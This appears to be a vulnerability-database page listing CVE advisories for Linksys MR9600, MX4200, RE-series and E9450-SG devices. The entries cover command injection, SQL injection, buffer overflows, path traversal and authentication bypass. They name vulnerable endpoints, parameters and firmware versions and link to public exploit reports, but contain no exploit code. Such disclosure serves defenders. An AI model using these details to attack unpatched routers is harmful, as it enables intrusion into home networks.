    Vulnerability from nvd – Published: 2026-02-25 15:03 – Updated: 2026-02-25 18:36
    VLAI
    Title
    Missing authentication in Linksys MR9600, Linksys MX4200
    Summary
    Due to missing authentication, a user with physical access to the device can misuse the mesh functionality for adding a new mesh device to the network  to gain access to sensitive information, including the password for admin access to the web interface and the Wi-Fi passwords.This issue affects MR9600: 1.0.4.205530; MX4200: 1.0.13.210200.
    SSVC
    Exploitation: none Automatable: no Technical Impact: total
    CISA Coordinator · CISA-ADP (v2.0.3)
    Decision recorded 2026-02-25 18:35 UTC
    CWE
    • CWE-306 - Missing Authentication for Critical Function
    References
    URL Tags
    https://www.syss.de/fileadmin/dokumente/Publikati… third-party-advisorytechnical-description
    Impacted products
    Vendor Product Version
    Linksys MR9600 Affected: 1.0.4.205530
    Create a notification for this product.
    Linksys MX4200 Affected: 1.0.13.210200
    Create a notification for this product.
    Show details on NVD website

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    CVE-2026-25603 (GCVE-0-2026-25603)

    Vulnerability from nvd – Published: 2026-02-24 17:14 – Updated: 2026-02-24 18:13
    VLAI
    Title
    Path Traversal vulnerability in Linksys MR9600, Linksys MX4200
    Summary
    Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') vulnerability in Linksys MR9600, Linksys MX4200 allows that contents of a USB drive partition can be mounted in an arbitrary location of the file system. This may result in the execution of shell scripts in the context of a root user.This issue affects MR9600: 1.0.4.205530; MX4200: 1.0.13.210200.
    SSVC
    Exploitation: none Automatable: no Technical Impact: total
    CISA Coordinator · CISA-ADP (v2.0.3)
    Decision recorded 2026-02-24 18:11 UTC
    CWE
    • CWE-22 - Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
    Impacted products
    Vendor Product Version
    Linksys MR9600 Affected: 1.0.4.205530
    Create a notification for this product.
    Linksys MX4200 Affected: 1.0.13.210200
    Create a notification for this product.
    Show details on NVD website

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    CVE-2025-52692 (GCVE-0-2025-52692)

    Vulnerability from nvd – Published: 2025-12-19 01:50 – Updated: 2025-12-19 15:37
    VLAI
    Title
    Bypass Authentication
    Summary
    Successful exploitation of the vulnerability could allow an attacker with local network access to send a specially crafted URL to access certain administration functions without login credentials.
    SSVC
    Exploitation: none Automatable: no Technical Impact: total
    CISA Coordinator · CISA-ADP (v2.0.3)
    Decision recorded 2025-12-19 15:37 UTC
    CWE
    • CWE-306 - Missing Authentication for Critical Function
    Assigner
    Impacted products
    Vendor Product Version
    Linksys Linksys E9450-SG Affected: 1.2.00.052
    Create a notification for this product.
    Date Public
    2025-12-19 01:50
    Show details on NVD website

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    CVE-2025-14136 (GCVE-0-2025-14136)

    Vulnerability from nvd – Published: 2025-12-06 13:02 – Updated: 2025-12-08 19:43
    VLAI
    Title
    Linksys RE6500/RE6250/RE6300/RE6350/RE7000/RE9000 mod_form.so stack-based overflow
    Summary
    A security flaw has been discovered in Linksys RE6500, RE6250, RE6300, RE6350, RE7000 and RE9000 1.0.013.001/1.0.04.001/1.0.04.002/1.1.05.003/1.2.07.001. This vulnerability affects the function RE2000v2Repeater_get_wired_clientlist_setClientsName of the file mod_form.so. The manipulation of the argument clientsname_0 results in stack-based buffer overflow. The attack may be launched remotely. The exploit has been released to the public and may be exploited. The vendor was contacted early about this disclosure but did not respond in any way.
    SSVC
    Exploitation: poc Automatable: no Technical Impact: total
    CISA Coordinator · CISA-ADP (v2.0.3)
    Decision recorded 2025-12-08 19:43 UTC
    CWE
    References
    Impacted products
    Vendor Product Version
    Linksys RE6500 Affected: 1.0.013.001
    Affected: 1.0.04.001
    Affected: 1.0.04.002
    Affected: 1.1.05.003
    Affected: 1.2.07.001
    Create a notification for this product.
    Linksys RE6250 Affected: 1.0.013.001
    Affected: 1.0.04.001
    Affected: 1.0.04.002
    Affected: 1.1.05.003
    Affected: 1.2.07.001
    Create a notification for this product.
    Linksys RE6300 Affected: 1.0.013.001
    Affected: 1.0.04.001
    Affected: 1.0.04.002
    Affected: 1.1.05.003
    Affected: 1.2.07.001
    Create a notification for this product.
    Linksys RE6350 Affected: 1.0.013.001
    Affected: 1.0.04.001
    Affected: 1.0.04.002
    Affected: 1.1.05.003
    Affected: 1.2.07.001
    Create a notification for this product.
    Linksys RE7000 Affected: 1.0.013.001
    Affected: 1.0.04.001
    Affected: 1.0.04.002
    Affected: 1.1.05.003
    Affected: 1.2.07.001
    Create a notification for this product.
    Linksys RE9000 Affected: 1.0.013.001
    Affected: 1.0.04.001
    Affected: 1.0.04.002
    Affected: 1.1.05.003
    Affected: 1.2.07.001
    Create a notification for this product.
    Show details on NVD website

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    CVE-2025-14135 (GCVE-0-2025-14135)

    Vulnerability from nvd – Published: 2025-12-06 11:32 – Updated: 2025-12-08 17:13
    VLAI
    Title
    Linksys RE6500/RE6250/RE6300/RE6350/RE7000/RE9000 mod_form.so AP_get_wired_clientlist_setClientsName stack-based overflow
    Summary
    A vulnerability was identified in Linksys RE6500, RE6250, RE6300, RE6350, RE7000 and RE9000 1.0.013.001/1.0.04.001/1.0.04.002/1.1.05.003/1.2.07.001. This affects the function AP_get_wired_clientlist_setClientsName of the file mod_form.so. The manipulation of the argument clientsname_0 leads to stack-based buffer overflow. The attack may be initiated remotely. The exploit is publicly available and might be used. The vendor was contacted early about this disclosure but did not respond in any way.
    SSVC
    Exploitation: poc Automatable: no Technical Impact: total
    CISA Coordinator · CISA-ADP (v2.0.3)
    Decision recorded 2025-12-08 17:06 UTC
    CWE
    References
    Impacted products
    Vendor Product Version
    Linksys RE6500 Affected: 1.0.013.001
    Affected: 1.0.04.001
    Affected: 1.0.04.002
    Affected: 1.1.05.003
    Affected: 1.2.07.001
    Create a notification for this product.
    Linksys RE6250 Affected: 1.0.013.001
    Affected: 1.0.04.001
    Affected: 1.0.04.002
    Affected: 1.1.05.003
    Affected: 1.2.07.001
    Create a notification for this product.
    Linksys RE6300 Affected: 1.0.013.001
    Affected: 1.0.04.001
    Affected: 1.0.04.002
    Affected: 1.1.05.003
    Affected: 1.2.07.001
    Create a notification for this product.
    Linksys RE6350 Affected: 1.0.013.001
    Affected: 1.0.04.001
    Affected: 1.0.04.002
    Affected: 1.1.05.003
    Affected: 1.2.07.001
    Create a notification for this product.
    Linksys RE7000 Affected: 1.0.013.001
    Affected: 1.0.04.001
    Affected: 1.0.04.002
    Affected: 1.1.05.003
    Affected: 1.2.07.001
    Create a notification for this product.
    Linksys RE9000 Affected: 1.0.013.001
    Affected: 1.0.04.001
    Affected: 1.0.04.002
    Affected: 1.1.05.003
    Affected: 1.2.07.001
    Create a notification for this product.
    Show details on NVD website

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    CVE-2026-86299 (GCVE-0-2026-86299)

    Vulnerability from cvelistv5 – Published: 2026-09-07 11:15 – Updated: 2026-09-11 20:35
    VLAI
    Title
    Linksys RE7000 PingTest json.cgi platform_event_pingTest os command injection
    Summary
    A vulnerability was detected in Linksys RE7000 2.0.15. This affects the function platform_event_pingTest of the file /cgi-bin/json.cgi?PingTest of the component PingTest Handler. The manipulation of the argument pingTestIp/pingTestPktSize/pingTestTimes results in os command injection. The attack can be launched remotely. The exploit is now public and may be used.
    SSVC
    Exploitation: poc Automatable: no Technical Impact: total
    CISA Coordinator · CISA-ADP (v2.0.3)
    Decision recorded 2026-09-11 20:15 UTC
    CWE
    References
    Impacted products
    Vendor Product Version
    Linksys RE7000 Affected: 2.0.15
        cpe:2.3:o:linksys:re7000_firmware:*:*:*:*:*:*:*:*
    Create a notification for this product.
    Show details on NVD website

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    CVE-2026-6992 (GCVE-0-2026-6992)

    Vulnerability from cvelistv5 – Published: 2026-04-25 18:00 – Updated: 2026-04-27 13:34
    VLAI
    Title
    Linksys MR9600 JNAP Action run_central2.sh BTRequestGetSmartConnectStatus os command injection
    Summary
    A vulnerability was identified in Linksys MR9600 2.0.6.206937. This affects the function BTRequestGetSmartConnectStatus of the file /etc/init.d/run_central2.sh of the component JNAP Action Handler. The manipulation of the argument pin leads to os command injection. The attack may be initiated remotely. The exploit is publicly available and might be used. The vendor was contacted early about this disclosure but did not respond in any way.
    SSVC
    Exploitation: poc Automatable: no Technical Impact: total
    CISA Coordinator · CISA-ADP (v2.0.3)
    Decision recorded 2026-04-27 13:10 UTC
    CWE
    References
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    https://github.com/utmost3/cve/issues/2 exploitissue-tracking
    https://www.linksys.com/ product
    Impacted products
    Vendor Product Version
    Linksys MR9600 Affected: 2.0.6.206937
        cpe:2.3:o:linksys:mr9600_firmware:*:*:*:*:*:*:*:*
    Create a notification for this product.
    Show details on NVD website

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    CVE-2026-4558 (GCVE-0-2026-4558)

    Vulnerability from cvelistv5 – Published: 2026-03-22 17:29 – Updated: 2026-03-23 16:06
    VLAI
    Title
    Linksys MR9600 SmartConnect.lua smartConnectConfigure os command injection
    Summary
    A flaw has been found in Linksys MR9600 2.0.6.206937. Affected is the function smartConnectConfigure of the file SmartConnect.lua. Executing a manipulation of the argument configApSsid/configApPassphrase/srpLogin/srpPassword can lead to os command injection. The attack may be launched remotely. The exploit has been published and may be used. The vendor was contacted early about this disclosure but did not respond in any way.
    SSVC
    Exploitation: poc Automatable: no Technical Impact: total
    CISA Coordinator · CISA-ADP (v2.0.3)
    Decision recorded 2026-03-23 16:06 UTC
    CWE
    References
    URL Tags
    https://vuldb.com/?id.352385 vdb-entrytechnical-description
    https://vuldb.com/?ctiid.352385 signaturepermissions-required
    https://vuldb.com/?submit.775036 third-party-advisory
    https://github.com/utmost3/cve/issues/1 exploitissue-tracking
    https://www.linksys.com/ product
    Impacted products
    Vendor Product Version
    Linksys MR9600 Affected: 2.0.6.206937
        cpe:2.3:o:linksys:mr9600_firmware:*:*:*:*:*:*:*:*
    Create a notification for this product.
    Show details on NVD website

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    CVE-2026-27850 (GCVE-0-2026-27850)

    Vulnerability from cvelistv5 – Published: 2026-02-25 16:58 – Updated: 2026-02-25 19:11
    VLAI
    Title
    Improper verification in Linksys MR9600, Linksys MX4200
    Summary
    Due to an improperly configured firewall rule, the router will accept any connection on the WAN port with the source port 5222, exposing all services which are normally only accessible through the local network. This issue affects MR9600: 1.0.4.205530; MX4200: 1.0.13.210200.
    SSVC
    Exploitation: poc Automatable: yes Technical Impact: partial
    CISA Coordinator · CISA-ADP (v2.0.3)
    Decision recorded 2026-02-25 19:11 UTC
    CWE
    • cwe-940 Improper Verification of Source of a Communication Channel
    References
    URL Tags
    https://www.syss.de/fileadmin/dokumente/Publikati… third-party-advisorytechnical-description
    Impacted products
    Vendor Product Version
    Linksys MR9600 Affected: 1.0.4.205530
    Create a notification for this product.
    Linksys MX4200 Affected: 1.0.13.210200
    Create a notification for this product.
    Show details on NVD website

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    CVE-2026-27849 (GCVE-0-2026-27849)

    Vulnerability from cvelistv5 – Published: 2026-02-25 16:20 – Updated: 2026-02-26 16:47
    VLAI
    Title
    Missing neutralization in Linksys MR9600, Linksys MX4200
    Summary
    Due to missing neutralization of special elements, OS commands can be injected via the update functionality of a TLS-SRP connection, which is normally used for configuring devices inside the mesh network. This issue affects MR9600: 1.0.4.205530; MX4200: 1.0.13.210200.
    SSVC
    Exploitation: poc Automatable: yes Technical Impact: total
    CISA Coordinator · CISA-ADP (v2.0.3)
    Decision recorded 2026-02-26 16:46 UTC
    CWE
    • CWE-78 - Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
    References
    URL Tags
    https://www.syss.de/fileadmin/dokumente/Publikati… third-party-advisorytechnical-description
    Impacted products
    Vendor Product Version
    Linksys MR9600 Affected: 1.0.4.205530
    Create a notification for this product.
    Linksys MX4200 Affected: 1.0.13.210200
    Create a notification for this product.
    Show details on NVD website

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    CVE-2026-27848 (GCVE-0-2026-27848)

    Vulnerability from cvelistv5 – Published: 2026-02-25 15:15 – Updated: 2026-02-26 16:51
    VLAI
    Title
    Missing neutralization in Linksys MR9600, Linksys MX4200
    Summary
    Due to missing neutralization of special elements, OS commands can be injected via the handshake of a TLS-SRP connection, which are ultimately run as the root user. This issue affects MR9600: 1.0.4.205530; MX4200: 1.0.13.210200.
    SSVC
    Exploitation: poc Automatable: yes Technical Impact: total
    CISA Coordinator · CISA-ADP (v2.0.3)
    Decision recorded 2026-02-26 16:50 UTC
    CWE
    • CWE-78 - Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
    References
    URL Tags
    https://www.syss.de/fileadmin/dokumente/Publikati… third-party-advisorytechnical-description
    Impacted products
    Vendor Product Version
    Linksys MR9600 Affected: 1.0.4.205530
    Create a notification for this product.
    Linksys MX4200 Affected: 1.0.13.210200
    Create a notification for this product.
    Show details on NVD website

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    CVE-2026-27847 (GCVE-0-2026-27847)

    Vulnerability from cvelistv5 – Published: 2026-02-25 15:10 – Updated: 2026-02-26 16:56
    VLAI
    Title
    Missing authentication in Linksys MR9600, Linksys MX4200
    Summary
    Due to improper neutralization of special elements, SQL statements can be injected via the handshake of a TLS-SRP connection. This can be used to inject known credentials into the database that can be utilized to successfully complete the handshake and use the protected service. This issue affects MR9600: 1.0.4.205530; MX4200: 1.0.13.210200.
    SSVC
    Exploitation: poc Automatable: yes Technical Impact: total
    CISA Coordinator · CISA-ADP (v2.0.3)
    Decision recorded 2026-02-26 16:55 UTC
    CWE
    • CWE-89 - Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
    References
    URL Tags
    https://www.syss.de/fileadmin/dokumente/Publikati… third-party-advisorytechnical-description
    Impacted products
    Vendor Product Version
    Linksys MR9600 Affected: 1.0.4.205530
    Create a notification for this product.
    Linksys MX4200 Affected: 1.0.13.210200
    Create a notification for this product.
    Show details on NVD website

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    CVE-2026-27846 (GCVE-0-2026-27846)

    Vulnerability from cvelistv5 – Published: 2026-02-25 15:03 – Updated: 2026-02-25 18:36
    VLAI
    Title
    Missing authentication in Linksys MR9600, Linksys MX4200
    Summary
    Due to missing authentication, a user with physical access to the device can misuse the mesh functionality for adding a new mesh device to the network  to gain access to sensitive information, including the password for admin access to the web interface and the Wi-Fi passwords.This issue affects MR9600: 1.0.4.205530; MX4200: 1.0.13.210200.
    SSVC
    Exploitation: none Automatable: no Technical Impact: total
    CISA Coordinator · CISA-ADP (v2.0.3)
    Decision recorded 2026-02-25 18:35 UTC
    CWE
    • CWE-306 - Missing Authentication for Critical Function
    References
    URL Tags
    https://www.syss.de/fileadmin/dokumente/Publikati… third-party-advisorytechnical-description
    Impacted products
    Vendor Product Version
    Linksys MR9600 Affected: 1.0.4.205530
    Create a notification for this product.
    Linksys MX4200 Affected: 1.0.13.210200
    Create a notification for this product.
    Show details on NVD website

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    CVE-2026-25603 (GCVE-0-2026-25603)

    Vulnerability from cvelistv5 – Published: 2026-02-24 17:14 – Updated: 2026-02-24 18:13
    VLAI
    Title
    Path Traversal vulnerability in Linksys MR9600, Linksys MX4200
    Summary
    Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') vulnerability in Linksys MR9600, Linksys MX4200 allows that contents of a USB drive partition can be mounted in an arbitrary location of the file system. This may result in the execution of shell scripts in the context of a root user.This issue affects MR9600: 1.0.4.205530; MX4200: 1.0.13.210200.
    SSVC
    Exploitation: none Automatable: no Technical Impact: total
    CISA Coordinator · CISA-ADP (v2.0.3)
    Decision recorded 2026-02-24 18:11 UTC
    CWE
    • CWE-22 - Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
    Impacted products
    Vendor Product Version
    Linksys MR9600 Affected: 1.0.4.205530
    Create a notification for this product.
    Linksys MX4200 Affected: 1.0.13.210200
    Create a notification for this product.
    Show details on NVD website

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    CVE-2025-52692 (GCVE-0-2025-52692)

    Vulnerability from cvelistv5 – Published: 2025-12-19 01:50 – Updated: 2025-12-19 15:37
    VLAI
    Title
    Bypass Authentication
    Summary
    Successful exploitation of the vulnerability could allow an attacker with local network access to send a specially crafted URL to access certain administration functions without login credentials.
    SSVC
    Exploitation: none Automatable: no Technical Impact: total
    CISA Coordinator · CISA-ADP (v2.0.3)
    Decision recorded 2025-12-19 15:37 UTC
    CWE
    • CWE-306 - Missing Authentication for Critical Function
    Assigner
    Impacted products
    Vendor Product Version
    Linksys Linksys E9450-SG Affected: 1.2.00.052
    Create a notification for this product.
    Date Public
    2025-12-19 01:50
    Show details on NVD website

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    CVE-2025-14136 (GCVE-0-2025-14136)

    Vulnerability from cvelistv5 – Published: 2025-12-06 13:02 – Updated: 2025-12-08 19:43
    VLAI
    Title
    Linksys RE6500/RE6250/RE6300/RE6350/RE7000/RE9000 mod_form.so stack-based overflow
    Summary
    A security flaw has been discovered in Linksys RE6500, RE6250, RE6300, RE6350, RE7000 and RE9000 1.0.013.001/1.0.04.001/1.0.04.002/1.1.05.003/1.2.07.001. This vulnerability affects the function RE2000v2Repeater_get_wired_clientlist_setClientsName of the file mod_form.so. The manipulation of the argument clientsname_0 results in stack-based buffer overflow. The attack may be launched remotely. The exploit has been released to the public and may be exploited. The vendor was contacted early about this disclosure but did not respond in any way.
    SSVC
    Exploitation: poc Automatable: no Technical Impact: total
    CISA Coordinator · CISA-ADP (v2.0.3)
    Decision recorded 2025-12-08 19:43 UTC
    CWE
    References
    Impacted products
    Vendor Product Version
    Linksys RE6500 Affected: 1.0.013.001
    Affected: 1.0.04.001
    Affected: 1.0.04.002
    Affected: 1.1.05.003
    Affected: 1.2.07.001
    Create a notification for this product.
    Linksys RE6250 Affected: 1.0.013.001
    Affected: 1.0.04.001
    Affected: 1.0.04.002
    Affected: 1.1.05.003
    Affected: 1.2.07.001
    Create a notification for this product.
    Linksys RE6300 Affected: 1.0.013.001
    Affected: 1.0.04.001
    Affected: 1.0.04.002
    Affected: 1.1.05.003
    Affected: 1.2.07.001
    Create a notification for this product.
    Linksys RE6350 Affected: 1.0.013.001
    Affected: 1.0.04.001
    Affected: 1.0.04.002
    Affected: 1.1.05.003
    Affected: 1.2.07.001
    Create a notification for this product.
    Linksys RE7000 Affected: 1.0.013.001
    Affected: 1.0.04.001
    Affected: 1.0.04.002
    Affected: 1.1.05.003
    Affected: 1.2.07.001
    Create a notification for this product.
    Linksys RE9000 Affected: 1.0.013.001
    Affected: 1.0.04.001
    Affected: 1.0.04.002
    Affected: 1.1.05.003
    Affected: 1.2.07.001
    Create a notification for this product.
    Show details on NVD website

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    CVE-2025-14135 (GCVE-0-2025-14135)

    Vulnerability from cvelistv5 – Published: 2025-12-06 11:32 – Updated: 2025-12-08 17:13
    VLAI
    Title
    Linksys RE6500/RE6250/RE6300/RE6350/RE7000/RE9000 mod_form.so AP_get_wired_clientlist_setClientsName stack-based overflow
    Summary
    A vulnerability was identified in Linksys RE6500, RE6250, RE6300, RE6350, RE7000 and RE9000 1.0.013.001/1.0.04.001/1.0.04.002/1.1.05.003/1.2.07.001. This affects the function AP_get_wired_clientlist_setClientsName of the file mod_form.so. The manipulation of the argument clientsname_0 leads to stack-based buffer overflow. The attack may be initiated remotely. The exploit is publicly available and might be used. The vendor was contacted early about this disclosure but did not respond in any way.
    SSVC
    Exploitation: poc Automatable: no Technical Impact: total
    CISA Coordinator · CISA-ADP (v2.0.3)
    Decision recorded 2025-12-08 17:06 UTC
    CWE
    References
    Impacted products
    Vendor Product Version
    Linksys RE6500 Affected: 1.0.013.001
    Affected: 1.0.04.001
    Affected: 1.0.04.002
    Affected: 1.1.05.003
    Affected: 1.2.07.001
    Create a notification for this product.
    Linksys RE6250 Affected: 1.0.013.001
    Affected: 1.0.04.001
    Affected: 1.0.04.002
    Affected: 1.1.05.003
    Affected: 1.2.07.001
    Create a notification for this product.
    Linksys RE6300 Affected: 1.0.013.001
    Affected: 1.0.04.001
    Affected: 1.0.04.002
    Affected: 1.1.05.003
    Affected: 1.2.07.001
    Create a notification for this product.
    Linksys RE6350 Affected: 1.0.013.001
    Affected: 1.0.04.001
    Affected: 1.0.04.002
    Affected: 1.1.05.003
    Affected: 1.2.07.001
    Create a notification for this product.
    Linksys RE7000 Affected: 1.0.013.001
    Affected: 1.0.04.001
    Affected: 1.0.04.002
    Affected: 1.1.05.003
    Affected: 1.2.07.001
    Create a notification for this product.
    Linksys RE9000 Affected: 1.0.013.001
    Affected: 1.0.04.001
    Affected: 1.0.04.002
    Affected: 1.1.05.003
    Affected: 1.2.07.001
    Create a notification for this product.
    Show details on NVD website

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                {
                  "cweId": "CWE-119",
                  "description": "Memory Corruption",
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          "references": [
            {
              "name": "VDB-334524 | Linksys RE6500/RE6250/RE6300/RE6350/RE7000/RE9000 mod_form.so AP_get_wired_clientlist_setClientsName stack-based overflow",
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            },
            {
              "name": "VDB-334524 | CTI Indicators (IOB, IOC, IOA)",
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                "permissions-required"
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            },
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              ],
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            },
            {
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              ],
              "url": "https://github.com/wudipjq/my_vuln/blob/main/Linksys2/vuln_64/64.md"
            },
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        "dateReserved": "2025-12-05T17:07:18.585Z",
        "dateUpdated": "2025-12-08T17:13:59.221Z",
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    }